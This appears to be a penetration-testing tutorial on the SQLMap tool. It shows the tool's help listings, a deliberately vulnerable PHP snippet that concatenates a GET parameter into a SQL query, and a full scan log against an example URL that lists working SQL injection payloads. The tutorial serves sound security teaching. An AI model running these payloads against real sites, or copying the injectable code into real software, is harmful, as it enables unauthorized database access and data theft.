Basic Listing shows only the basic options and switches, sufficient in most cases (switch -h):
Attacker@xxx[/xxx]$ sqlmap -h
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Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
...SNIP...Advanced Listing shows all options and switches (switch -hh):
Attacker@xxx[/xxx]$ sqlmap -hh
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Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
...SNIP...In a simple scenario, a penetration tester accesses the web page that accepts user input via a GET parameter (e.g., id). They then want to test if the web page is affected by the SQL injection vulnerability. If so, they would want to exploit it, retrieve as much information as possible from the back-end database, or even try to access the underlying file system and execute OS commands. An example SQLi vulnerable PHP code for this scenario would look as follows:
$link = mysqli_connect($host, $username, $password, $database, 3306);
$sql = "SELECT * FROM users WHERE id = " . $_GET["id"] . " LIMIT 0, 1";
$result = mysqli_query($link, $query);
if (!$result)
die("<b>SQL error:</b> ". mysqli_error($link) . "<br>\n");As error reporting is enabled for the vulnerable SQL query, there will be a database error returned as part of the web-server response in case of any SQL query execution problems. Such cases ease the process of SQLi detection, especially in case of manual parameter value tampering, as the resulting errors are easily recognized:
To run SQLMap against this example, located at the example URL http://www.example.com/vuln.php?id=1, would look like the following:
Attacker@xxx[/xxx]$ sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
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[*] starting @ 22:26:45 /2020-09-09/
[22:26:45] [INFO] testing connection to the target URL
[22:26:45] [INFO] testing if the target URL content is stable
[22:26:46] [INFO] target URL content is stable
[22:26:46] [INFO] testing if GET parameter 'id' is dynamic
[22:26:46] [INFO] GET parameter 'id' appears to be dynamic
[22:26:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:26:46] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[22:26:46] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[22:26:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:26:46] [WARNING] reflective value(s) found and filtering out
[22:26:46] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="luther")
[22:26:46] [INFO] testing 'Generic inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:26:46] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
...SNIP...
[22:26:46] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[22:26:46] [INFO] testing 'MySQL inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:26:46] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)
...SNIP...
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:26:56] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[22:26:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:26:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:26:56] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:26:56] [INFO] target URL appears to have 3 columns in query
[22:26:56] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
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Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 8814=8814
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 7744 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(7744=7744,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3669 FROM (SELECT(SLEEP(5)))TIxJ)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170706a71,0x554d766a4d694850596b754f6f716250584a6d53485a52474a7979436647576e766a595374436e78,0x71707a7871)-- -
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[22:26:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
[22:26:57] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/www.example.com'
[*] ending @ 22:26:57 /2020-09-09/
Note: in this case, option '-u' is used to provide the target URL, while the switch '--batch' is used for skipping any required user-input, by automatically choosing using the default option.